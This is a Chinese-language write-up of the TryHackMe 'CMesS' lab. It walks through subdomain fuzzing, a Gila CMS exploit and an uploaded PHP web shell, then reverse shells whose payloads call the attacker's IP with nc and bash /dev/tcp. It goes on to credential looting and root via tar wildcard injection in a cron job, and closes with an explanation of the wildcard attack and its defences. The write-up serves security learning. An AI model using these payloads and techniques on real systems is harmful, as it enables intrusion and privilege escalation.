## 概述 來源: tryhackme 題目: CMesS 難度: medium 網址: https://tryhackme.com/room/cmess 靶機 `10.10.180.27` ### 學習目標 「僅供學習參考,請勿用於非法用途」 - nmap 掃描port - gobuster 掃描路徑 - 新增 hosts 透過 `domain name` 訪問網站 - wfuzz 掃描子網域 - Gila CMS 後台操作 - searchsploit 漏洞掃描與利用 - 製作 php-reverse-shell.php - 用 url 下 cmd 的 php - 直接 reverse shell 的 php - nc 反射 shell - mysql 操作 - bcrypt 雜湊 - LineNum 使用 - su 登入 - tar wildcard injection 漏洞利用 - SUID bit 的理解與利用 - Crontab 提權 ## 基本掃描 ### nmap ```bash nmap -sV -sC -v 10.10.180.27 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA) | 256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA) |_ 256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: Gila CMS | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-robots.txt: 3 disallowed entries |_/src/ /themes/ /lib/ |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` ### gobuster ```bash └─$ gobuster dir -u http://10.10.180.27 -w /usr/share/seclists/Discovery/Web-Content/common.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.180.27 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 277] /.htaccess (Status: 403) [Size: 277] /.htpasswd (Status: 403) [Size: 277] /0 (Status: 200) [Size: 3860] /01 (Status: 200) [Size: 4090] /1 (Status: 200) [Size: 4090] /1x1 (Status: 200) [Size: 4090] /About (Status: 200) [Size: 3345] /Index (Status: 200) [Size: 3860] /Search (Status: 200) [Size: 3860] /about (Status: 200) [Size: 3359] /admin (Status: 200) [Size: 1583] /api (Status: 200) [Size: 0] /api/experiments (Status: 200) [Size: 0] /api/experiments/configurations (Status: 200) [Size: 0] /assets (Status: 301) [Size: 324] [--> http://10.10.180.27/assets/?url=assets] /author (Status: 200) [Size: 3599] /blog (Status: 200) [Size: 3860] /category (Status: 200) [Size: 3871] /cm (Status: 500) [Size: 0] /feed (Status: 200) [Size: 735] /fm (Status: 200) [Size: 0] /index (Status: 200) [Size: 3860] /lib (Status: 301) [Size: 318] [--> http://10.10.180.27/lib/?url=lib] /log (Status: 301) [Size: 318] [--> http://10.10.180.27/log/?url=log] /login (Status: 200) [Size: 1583] /robots.txt (Status: 200) [Size: 65] /search (Status: 200) [Size: 3860] /server-status (Status: 403) [Size: 277] /sites (Status: 301) [Size: 322] [--> http://10.10.180.27/sites/?url=sites] /src (Status: 301) [Size: 318] [--> http://10.10.180.27/src/?url=src] /tag (Status: 200) [Size: 3883] /tags (Status: 200) [Size: 3145] /themes (Status: 301) [Size: 324] [--> http://10.10.180.27/themes/?url=themes] /tmp (Status: 301) [Size: 318] [--> http://10.10.180.27/tmp/?url=tmp] Progress: 4746 / 4747 (99.98%) =============================================================== Finished =============================================================== ``` 之後就卡關了 得到幾個線索 網站是 Gila CMS 所以先查了 searchsploit 雖然不知道版本 想說就先試試 ```bash └─$ searchsploit gila cms ------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------ --------------------------------- Gila CMS 1.10.9 - Remote Code Execution ( | php/webapps/51569.py Gila CMS 1.11.8 - 'query' SQL Injection | php/webapps/48590.py Gila CMS 1.9.1 - Cross-Site Scripting | php/webapps/46557.txt Gila CMS 2.0.0 - Remote Code Execution (U | php/webapps/49412.py Gila CMS < 1.11.1 - Local File Inclusion | multiple/webapps/47407.txt ------------------------------------------ --------------------------------- Shellcodes: No Results ``` 先確認 POC 內容 ```bash └─$ searchsploit -x php/webapps/51569.py # php/webapps/51569.py target_url = input("Enter the target login URL (e.g., http://example.com/ad min/): ") └─$ searchsploit -x php/webapps/48590.py webpath = "/gila-1.11.8/admin/sql?query=" query1 = "SELECT id FROM user LIMIT 0,1 INTO OUTFILE " localpath = "\'C://xampp//htdocs//" shellname = "webshell.php\' " query2 = "LINES TERMINATED BY " ``` 結果發現都需要 `/admin` 才可執行 但 `/admin` 要登入 不然就是根本沒那路徑QQ 之後找了 msfconsole 也都沒漏洞 ```!= msf6 > search exploit gila cms [-] No results from search msf6 > search gila cms [-] No results from search msf6 > search gilacms [-] No results from search msf6 > search cms ``` 其他路徑也都進去訪問了一遍都沒啥料 不然就是都需要登入 ## 掃描子網域 後來看了其他大神的 [writeup](https://dregghunshot.github.io/html/ctf/alltime/tryhackme/cmess/index.html) 才發現有個新招 `掃描子網域` < 對我來說啦哈哈 之前沒用過 難怪官方一開始就提醒要設 hosts ```bash ┌──(kali㉿kali)-[~/tryhackme/cmess] └─$ nano /etc/hosts ┌──(kali㉿kali)-[~/tryhackme/cmess] └─$ cat /etc/hosts ... 10.10.180.27 cmess.thm ``` 第一次掃描子網域 問了 AI 給了個範本 ```bash └─$ wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://cmess.thm/" -H "Host: FUZZ.cmess.thm" --hl 107 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://cmess.thm/ Total requests: 4989 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000019: 200 30 L 104 W 934 Ch "{sub domain}" Total time: 294.7617 Processed Requests: 4989 Filtered Requests: 4988 Requests/sec.: 16.92553 ``` 但不懂原理 還是確認一下 先看個官方說明 ```bash └─$ wfuzz --help -c : Output with colors -f filename,printer : Store results in the output file using the specified printer (raw printer if omitted). -u url : Specify a URL for the request. -w wordlist : Specify a wordlist file (alias for -z file,wordlist). -H header : Use header (ex:"Cookie:id=1312321&user=FUZZ"). Repeat option for various headers. --hc/hl/hw/hh N[,N]+ : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline) ``` 不懂的話再來個 AI 補充 > 1. **`-c`**: 带有颜色输出,使结果更容易阅读。 > 2. **`-f sub-fighter`**: 将输出保存到名为 `sub-fighter` 的文件中。 > 3. **`-w /path/to/wordlist`**: 指定用于暴力破解的**字典文件**(或称**词表**),wfuzz 会用字典文件中的每一个词替换 URL 或 Header 中的 `FUZZ` 标记。 > 4. **`-u 'http://cmess.thm'`**: 指定目标 URL。 > 5. **`-H "Host: FUZZ.cmess.thm"`**: 指定 HTTP Header。这里的关键是 `FUZZ` 标记,wfuzz 会使用字典中的词逐一替换它,来尝试不同的 **Host** 值。 > 5. **`--hl 107`**: "hide lines" 的縮寫,隱藏的是 HTTP 響應的行數, 完整響應包含 headers + body 的總行數。常用來過濾掉固定的錯誤頁面(例如大量的 404 頁面),只顯示行數不同的「有趣結果」。 也給大家看一下不加 `--hl 107` 會怎樣 ```bash ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000031: 200 107 L 290 W 3886 Ch "mobile" 000000001: 200 107 L 290 W 3877 Ch "www" 000000048: 200 107 L 290 W 3886 Ch "portal" 000000047: 200 107 L 290 W 3880 Ch "news" 000000046: 200 107 L 290 W 3877 Ch "img" 000000007: 200 107 L 290 W 3889 Ch "webdisk" 000000049: 200 107 L 290 W 3886 Ch "server" 000000015: 200 107 L 290 W 3874 Ch "ns" 000000050: 200 107 L 290 W 3880 Ch "wiki" 000000003: 200 107 L 290 W 3877 Ch "ftp" 000000045: 200 107 L 290 W 3880 Ch "www1" ... ``` 沒錯刷一整排 難怪大神 [writeup](https://dregghunshot.github.io/html/ctf/alltime/tryhackme/cmess/index.html) 內有加 `--hl 107` 總之我們得到了一個子網域 但這邊很好笑 我直接訪問了 `{sub domain}.cmess.thm/` 但卻都沒辦法訪問 後來看了大神的 writeup 才被自己蠢到哈哈 要再把網域加入 hosts 內才可用啦 ```bash 10.10.180.27 cmess.thm {sub domain}.cmess.thm ``` ## 登入網站 加入 hosts 後 訪問子網域直接找到一組帳號密碼 ![image](https://hackmd.io/_uploads/rymyeouAle.png) 馬上來去登登看 `/admin` 果然成功登入 也發現 Gila CMS `version 1.10.9` 版本 ![image](https://hackmd.io/_uploads/SkrixiuCex.png) ## 取得 shell ### searchsploit 馬上把剛剛的 searchsploit 再找出來 監聽一下 nc 取得了 shell ```bash └─$ python3 51569.py ██████╗ ██╗██╗ █████╗ ██████╗███╗ ███╗███████╗ ██████╗ ██████╗███████╗ ██╔════╝ ██║██║ ██╔══██╗ ██╔════╝████╗ ████║██╔════╝ ██╔══██╗██╔════╝██╔════╝ ██║ ███╗██║██║ ███████║ ██║ ██╔████╔██║███████╗ ██████╔╝██║ █████╗ ██║ ██║██║██║ ██╔══██║ ██║ ██║╚██╔╝██║╚════██║ ██╔══██╗██║ ██╔══╝ ╚██████╔╝██║███████╗██║ ██║ ╚██████╗██║ ╚═╝ ██║███████║ ██║ ██║╚██████╗███████╗ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝ by Unknown_Exploit Enter the target login URL (e.g., http://example.com/admin/): http://cmess.thm/admin Enter the email: andre@cmess.thm Enter the password: KPFTN_f2yxe% Enter the local IP (LHOST): 10.4.11.38 Enter the local port (LPORT): 1234 File uploaded successfully. Payload executed successfully. ``` ```bash └─$ nc -nvlp 1234 listening on [any] 1234 ... connect to [10.4.11.38] from (UNKNOWN) [10.10.180.27] 33960 bash: cannot set terminal process group (724): Inappropriate ioctl for device bash: no job control in this shell www-data@cmess:/var/www/html/tmp$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### 手動上傳檔案 了解了剛剛的 POC 發現是可以透過上傳檔案反射 shell 先上傳了一個執行 cmd 的 `.php` 透過 url 下 cmd 觸發 reverse shell ```python # cmd 內容 # rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP YOUR_PORT >/tmp/f payload = f"rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+{lhost}+{lport}+>/tmp/f" # 訪問檔案的 url payload_url = f"{target_url_2}tmp/shell.php7?cmd={payload}" # shell.php7 檔案內容 Content-Disposition: form-data; name="uploadfiles"; filename="shell.php7" Content-Type: application/x-php <?php system($_GET["cmd"]);?> ``` 所以想說來自己手動看看 #### payload 1 於是我先找到訪問檔案的地方手動觸發看看剛剛上傳的 `shell.php7` ```bash http://cmess.thm/tmp/shell.php7?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2%3E%261|nc+10.4.11.38+1234+%3E/tmp/f ``` > `%3E` = `>` 的 url encoding 果真也能成功 nc 反射 shell #### payload 2 玩上癮了 剛剛的檔案要下 cmd 想說用之前的檔案看能不能不下 cmd 直接反射 之前都是使用 `/usr/share/webshells/php/php-reverse-shell.php` 調整 local ip 來試試吧 訪問 ```bash http://cmess.thm/tmp/php-reverse-shell.php ``` 沒想到失敗了 後來問 AI 說可能 server 有排除 `.php` 改成 `.php5` 或 `.php7` 試試看 後來想想的確 原本的 POC 就是使用 `.php7` 而我調整成 `.php5` 試試 ```bash http://cmess.thm/tmp/php-reverse-shell.php5 ``` 沒想到也成功拿到 shell 哈哈 #### payload 3 最後我又試了另一個從原本的 POC 修改 cmd 的 payload ```bash # 修改前 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP YOUR_PORT >/tmp/f # 修改後 bash -i >& /dev/tcp/10.4.11.38/1234 0>&1 ``` ```bash http://cmess.thm/tmp/shell.php7?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.4.11.38/1234+0%3E%261%27 ``` 也成功 nc 反射 shell ## mysql 拿到 shell 後 先在附近路徑 ls 看看有啥檔案 發現了 `config.php` 看到疑似 db 的 root 帳密 ```bash www-data@cmess:/var/www/html$ cat config.php cat config.php <?php $GLOBALS['config'] = array ( 'db' => array ( 'host' => 'localhost', 'user' => 'root', 'pass' => 'r0...rd', 'name' => 'gila', ), 'permissions' => ... ``` 但我不知道這是哪種 database 問了 AI > 雖然配置檔中沒有直接寫出資料庫的類型(例如 type 或 driver),但從以下資訊可以判斷它是 MySQL 或其分支 MariaDB: > > 1. 使用者名稱 (user): 配置中使用的使用者是 'root',這是 MySQL 資料庫的預設管理員帳號。 > > 2. 變數名稱 (host, user, pass, name): 這是 PHP 應用程式連線 MySQLi 或 PDO (MySQL) 驅動時,標準使用的變數名稱。 > > 3. 環境:Gila CMS 是一個 PHP 內容管理系統,而 PHP 生態系中最主流、最常見的資料庫就是 MySQL 或 MariaDB。 所以試著用 mysql 登入看看 ```bash www-data@cmess:/var/www/html$ mysql -u root -p mysql -u root -p Enter password: r0otus3rpassw0rd Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 43235 Server version: 5.7.29-0ubuntu0.16.04.1 (Ubuntu) Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> ``` 登入成功想說要來大展身手了 ```bash mysql> show tables; show tables; +----------------+ | Tables_in_gila | +----------------+ | option | | page | | post | | postcategory | | postmeta | | user | | usermeta | | userrole | | widget | +----------------+ 9 rows in set (0.00 sec) mysql> select * from user select * from user -> ; ; +----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+ | id | username | email | pass | active | reset_code | created | updated | +----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+ | 1 | andre | andre@cmess.thm | $2y$10$uNAA0MEze02jd.qU9tnYLu43bNo9nujltElcWEAcifNeZdk4bEsBa | 1 | | 2020-02-06 18:20:34 | 2020-02-06 18:20:34 | +----+----------+-----------------+--------------------------------------------------------------+--------+------------+---------------------+---------------------+ 1 row in set (0.00 sec) mysql> exit ``` 這邊看到就傻住了 了解一下這密碼是什麼加密 > ``` > $2y$10$uNAA0MEze02jd.qU9tnYLu43bNo9nujltElcWEAcifNeZdk4bEsBa > ``` > > 是 **bcrypt 雜湊(bcrypt hash)**。 > > bcrypt 的格式通常是: > > ``` > $2y$<cost>$<22字元salt><31字元hash> > ``` > > 讓我們拆解一下這一串: > > | 部分 | 說明 | > | --------------------------------- | ---------------------------------------------------- | > | `$2y$` | 演算法版本(bcrypt)。<br>常見版本還有 `$2a$`、`$2b$`。 | > | `10` | cost factor(運算強度),代表要做 2¹⁰ = 1024 次加密迭代。數字越大越安全、但越慢。 | > | `uNAA0MEze02jd.qU9tnYLu` | 22 字元的 **salt**,用來防止相同密碼產生相同 hash。 | > | `43bNo9nujltElcWEAcifNeZdk4bEsBa` | 真正的 bcrypt 雜湊結果(31 字元)。 | > * **不可逆**:bcrypt 是雜湊(hash),不是加密(encryption),無法「解密」回原始密碼。 > * **安全性高**:內建 salt、防暴力破解設計。 > * **常用語言支援**: > > * Python → `bcrypt` 模組 > * PHP → `password_hash()` > * Java → `BCrypt`(Spring Security 內建) > * 要注意: > bcrypt 雜湊值無法直接反推回密碼,只能用「嘗試比對」方式驗證。 看來涼了 這應該可以算是我的第一個🐰洞?! 先試試其他方式好了 ## 取得 user shell 後來跟大神一樣 使用 `LineNum` ### 靶機取得 LineNum 先在有 LineNum 的地方開啟 http.server 然後再靶機 wget 下載 即可 ```bash ┌──(kali㉿kali)-[~/lin_shell] └─$ ls LinEnum.sh linpeas.sh ┌──(kali㉿kali)-[~/lin_shell] └─$ python3 -m http.server 666 Serving HTTP on 0.0.0.0 port 666 (http://0.0.0.0:666/) ... 10.10.180.27 - - [24/Oct/2025 13:22:34] "GET /LinEnum.sh HTTP/1.1" 200 - ^C Keyboard interrupt received, exiting. ``` ```bash www-data@cmess:/var/www/html/tmp$ wget http://10.4.11.38:666/LinEnum.sh wget http://10.4.11.38:666/LinEnum.sh --2025-10-23 22:22:33-- http://10.4.11.38:666/LinEnum.sh Connecting to 10.4.11.38:666... connected. HTTP request sent, awaiting response... 200 OK Length: 46631 (46K) [text/x-sh] Saving to: 'LinEnum.sh' 0K .......... .......... .......... .......... ..... 100% 37.9K=1.2s 2025-10-23 22:22:36 (37.9 KB/s) - 'LinEnum.sh' saved [46631/46631] www-data@cmess:/var/www/html/tmp$ www-data@cmess:/var/www/html/tmp$ ls ls LinEnum.sh ``` 說實話跑出來的東西太多了 我不到哪邊有可利用的漏洞 問了 AI 整理兩個區塊 首先是 password 洩漏 ```bash [-] Location and Permissions (if accessible) of .bak file(s): -rw-r--r-- 1 root root 3020 Feb 6 2020 /etc/apt/sources.bak -rwxrwxrwx 1 root root 36 Feb 6 2020 /opt/.password.bak ``` 查看此 `.bak` 直接拿到 使用者帳密 ```bash www-data@cmess:/var/www/html/tmp$ cat /opt/.password.bak cat /opt/.password.bak andres backup password UQ...P6 ``` 這裡有個小陷阱 使用者名稱要注意 ```bash www-data@cmess:/var/www/html/tmp$ su andres su andres su: must be run from a terminal www-data@cmess:/var/www/html/tmp$ python3 -c 'import pty; pty.spawn("/bin/bash")' <l/tmp$ python3 -c 'import pty; pty.spawn("/bin/bash ")' www-data@cmess:/var/www/html/tmp$ su andres su andres No passwd entry for user 'andres' www-data@cmess:/var/www/html/tmp$ su andre su andre Password: UQ...P6 andre@cmess:/var/www/html/tmp$ ``` 終於登入成功了 > ### 使用者名稱不一致的問題 > > 備份檔案顯示 `andres`,但系統實際使用者是 `andre`。 > 這可能是: > 1. 管理員的打字錯誤 > 2. CTF 設計的小陷阱 > 3. 使用者名稱曾被修改但備份未更新 > > **教訓**: 在滲透測試中,找到的資訊不一定完全準確, > 需要交叉驗證。應該先用 `ls /home/` 或 `cat /etc/passwd` > 確認系統中實際存在的使用者。 ## get root shell 再來是 `LineNum` 的第二部分 ```bash [-] Crontab contents: # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) */2 * * * * root cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz * ``` 發現此 `/home/andre/backup` 每兩分鐘會用 `tar` 備份一次 透過 https://gtfobins.github.io/gtfobins/tar/ 以及 AI 了解一下 tar 如何利用 wildcard injection 提權 < 後面的章節做補充 簡單說明 在目錄下建立兩3個檔案 `shell.sh` `--checkpoint=1` `--checkpoint-action=exec=sh shell.sh` > 因為 Linux 允許檔案名包含幾乎任何字符,包括 `-` 和 `--` ```bash tar -zcf /tmp/andre_backup.tar.gz * ``` 因為 wildcard injection 漏洞: 1. Shell 在處理 `*` 時會先展開為目錄中的所有檔名 2. tar 按**字母順序**讀取參數 3. `--` 開頭的檔名會被 tar 誤認為是命令選項 4. 因此 tar 實際執行時會把這些「特殊檔名」當作參數處理 這就是為什麼我們要建立名為 `--checkpoint=1` 的檔案, 而不是直接執行 `tar --checkpoint=1 ...` 最終指令會變成這樣 ```bash tar -zcf /tmp/andre_backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh note ``` 導致以下提權成功 並取得 root.txt ```bash andre@cmess:~/backup$ ls ls note andre@cmess:~/backup$ echo 'chmod +s /bin/bash' > shell.sh echo 'chmod +s /bin/bash' > shell.sh andre@cmess:~/backup$ ls -la shell.sh ls -la shell.sh -rw-rw-r-- 1 andre andre 19 Oct 23 23:04 shell.sh andre@cmess:~/backup$ chmod +x shell.sh chmod +x shell.sh andre@cmess:~/backup$ ls -la shell.sh ls -la shell.sh -rwxrwxr-x 1 andre andre 19 Oct 23 23:04 shell.sh andre@cmess:~/backup$ ls ls note shell.sh andre@cmess:~/backup$ echo "" > "--checkpoint=1" echo "" > "--checkpoint=1" andre@cmess:~/backup$ ls ls --checkpoint=1 note shell.sh andre@cmess:~/backup$ echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > "--checkpoint-action=exec=sh shell.sh" andre@cmess:~/backup$ ls ls --checkpoint=1 --checkpoint-action=exec=sh shell.sh note shell.sh andre@cmess:~/backup$ ls -la /bin/bash ls -la /bin/bash -rwxr-xr-x 1 root root 1037528 May 16 2017 /bin/bash # 等待 crontab 自動執行 (最多 2 分鐘) # 可以用 watch -n 1 'ls -la /bin/bash' 監控權限變化 andre@cmess:~/backup$ ls -la /bin/bash ls -la /bin/bash -rwsr-sr-x 1 root root 1037528 May 16 2017 /bin/bash # 注意 s 權限出現了! andre@cmess:~/backup$ /bin/bash -p /bin/bash -p bash-4.3# id id uid=1000(andre) gid=1000(andre) euid=0(root) egid=0(root) groups=0(root),1000(andre) bash-4.3# cat /root/root.txt cat /root/root.txt thm{9f...a2} bash-4.3# ``` ## AI補充說明:Wildcard Injection 深度解析 ### 什麼是 Wildcard Injection? Wildcard Injection 是一種利用 shell 通配符(`*`, `?` 等)展開機制來注入命令參數的攻擊技術。當程式使用通配符處理檔案時,攻擊者可以透過創建特殊命名的檔案來注入惡意參數。 ### 攻擊原理 #### Shell 通配符展開順序 當執行以下命令時: ```bash tar -zcf backup.tar.gz * ``` Shell 會先將 `*` 展開成當前目錄的所有檔案名,然後才傳遞給 tar 命令。 假設目錄中有以下檔案: ``` file1.txt file2.txt --checkpoint=1 --checkpoint-action=exec=sh shell.sh ``` Shell 展開後實際執行的命令為: ```bash tar -zcf backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh file1.txt file2.txt ``` **關鍵點:檔案名被當作了命令列參數!** #### 為什麼會產生漏洞? **1. Tar 的 checkpoint 功能** Tar 提供了合法的 checkpoint 功能: ```bash tar --checkpoint=N --checkpoint-action=ACTION ``` - `--checkpoint=1`:每處理 1 個檔案就執行一次 checkpoint - `--checkpoint-action=exec=COMMAND`:在 checkpoint 時執行指定命令 **2. Linux 檔案名的特性** Linux 允許檔案名包含幾乎任何字符,包括 `-` 和 `--`: ```bash touch "--checkpoint=1" # 這是合法的檔案名 touch "--help" # 這也是合法的檔案名 ``` ### 攻擊流程分析 #### Step 1: 建立惡意腳本 ```bash echo 'chmod +s /bin/bash' > shell.sh chmod +x shell.sh ``` 這個腳本會將 `/bin/bash` 設置 SUID 位元,使其以擁有者(root)權限執行。 #### Step 2: 建立偽裝成參數的檔案 ```bash echo "" > "--checkpoint=1" echo "" > "--checkpoint-action=exec=sh shell.sh" ``` 這些檔案的**檔案名本身就是參數**,內容並不重要。 #### Step 3: 等待 Cron 執行 當 root 的 cron 任務執行時: ```bash cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz * ``` 通配符 `*` 會展開為: ```bash tar -zcf /tmp/andre_backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh ``` Tar 在處理檔案時會: 1. 辨識 `--checkpoint=1` 和 `--checkpoint-action=exec=sh shell.sh` 參數 2. 每處理一個檔案就觸發 checkpoint 3. **以 root 權限執行** `sh shell.sh` 4. `shell.sh` 將 `/bin/bash` 設置 SUID 位元 #### Step 4: 提權 ```bash /bin/bash -p ``` - `-p` 參數啟用特權模式(privileged mode) - 在 SUID 模式下保持有效 UID - 成功獲得 root shell ### 完整攻擊流程圖 ``` ┌─────────────────────────────────────────────────────────┐ │ 1. 攻擊者 (andre) 建立檔案 │ │ /home/andre/backup/ │ │ ├── shell.sh │ │ ├── --checkpoint=1 │ │ └── --checkpoint-action=exec=sh shell.sh │ └─────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────┐ │ 2. Cron 任務觸發 (每 2 分鐘) │ │ root 執行: tar -zcf /tmp/backup.tar.gz * │ └─────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────┐ │ 3. Shell 展開通配符 │ │ tar -zcf /tmp/backup.tar.gz \ │ │ --checkpoint=1 \ │ │ --checkpoint-action=exec=sh shell.sh \ │ │ shell.sh │ └─────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────┐ │ 4. Tar 執行並觸發 checkpoint │ │ → 以 root 權限執行: sh shell.sh │ └─────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────┐ │ 5. shell.sh 執行: chmod +s /bin/bash │ │ /bin/bash 獲得 SUID 位元 │ │ -rwsr-sr-x 1 root root ... /bin/bash │ │ ↑ SUID 位元 │ └─────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────┐ │ 6. 攻擊者執行: /bin/bash -p │ │ → 成功獲得 root shell! │ └─────────────────────────────────────────────────────────┘ ``` ### 其他受影響的命令 任何使用通配符的命令都可能受此影響: **rsync 範例:** ```bash # 原始命令 rsync -av * user@backup:/dest/ # 攻擊 touch -- "-e sh payload.sh" # 展開成: rsync -av -e sh payload.sh ... ``` **chown 範例:** ```bash # 原始命令 chown user:user * # 攻擊 touch -- "--reference=/etc/shadow" # 可能導致權限配置錯誤 ``` **rm 範例(極度危險):** ```bash # 原始命令 rm * # 攻擊 touch -- "-rf" touch -- "/" # 可能展開成: rm -rf / (災難性後果!) ``` ### 防禦措施 #### 方法 1:使用 `./` 前綴 ```bash # ❌ 危險 tar -zcf backup.tar.gz * # ✅ 安全 tar -zcf backup.tar.gz ./* ``` `./` 前綴使檔案名展開為 `./--checkpoint=1`,不會被識別為參數。 #### 方法 2:使用 `--` 分隔符 ```bash # ✅ 安全 tar -zcf backup.tar.gz -- * ``` `--` 告訴命令:之後的所有內容都是檔案名,不是選項。 #### 方法 3:明確指定檔案 ```bash # ✅ 安全 find /home/andre/backup -type f -exec tar -zcf backup.tar.gz {} + ``` #### 方法 4:限制目錄權限 ```bash # 只允許 root 寫入 chmod 755 /home/andre/backup chown root:root /home/andre/backup ``` ### 漏洞成功的三個條件 Wildcard Injection 攻擊成功需要同時滿足: 1. ✅ 命令使用通配符(`*`、`?` 等) 2. ✅ 攻擊者可以在目標目錄建立檔案 3. ✅ 命令接受可執行程式碼的參數 **CMesS 靶機完全符合以上條件:** - ✅ 使用 `tar ... *` 通配符 - ✅ andre 使用者可寫入 `/home/andre/backup` - ✅ tar 的 `--checkpoint-action=exec` 可執行命令 - ✅ **以 root 身份執行 cron 任務** ### 真實世界案例 - **2014 年**:DefenseCode 研究員 Leon Juranic 發表論文 "Back To The Future: Unix Wildcards Gone Wild",詳細記錄此攻擊技術 - **CTF 競賽**:常見的權限提升技巧 - **真實環境**:許多生產環境的備份腳本存在此問題 ### 實際測試 可以在安全環境中測試此漏洞: ```bash # 建立測試目錄 mkdir wildcard-test && cd wildcard-test # 建立測試檔案 echo "echo EXPLOITED" > test.sh chmod +x test.sh echo "" > "--checkpoint=1" echo "" > "--checkpoint-action=exec=sh test.sh" # 執行 tar tar -czf backup.tar.gz * # 會看到 "EXPLOITED" 輸出,證明命令被執行! ``` --- **總結:** Wildcard Injection 是一個嚴重的安全漏洞,它利用了 shell 通配符展開和 Linux 檔案系統的特性。在編寫自動化腳本時,應該始終避免直接使用通配符,或採用適當的防護措施。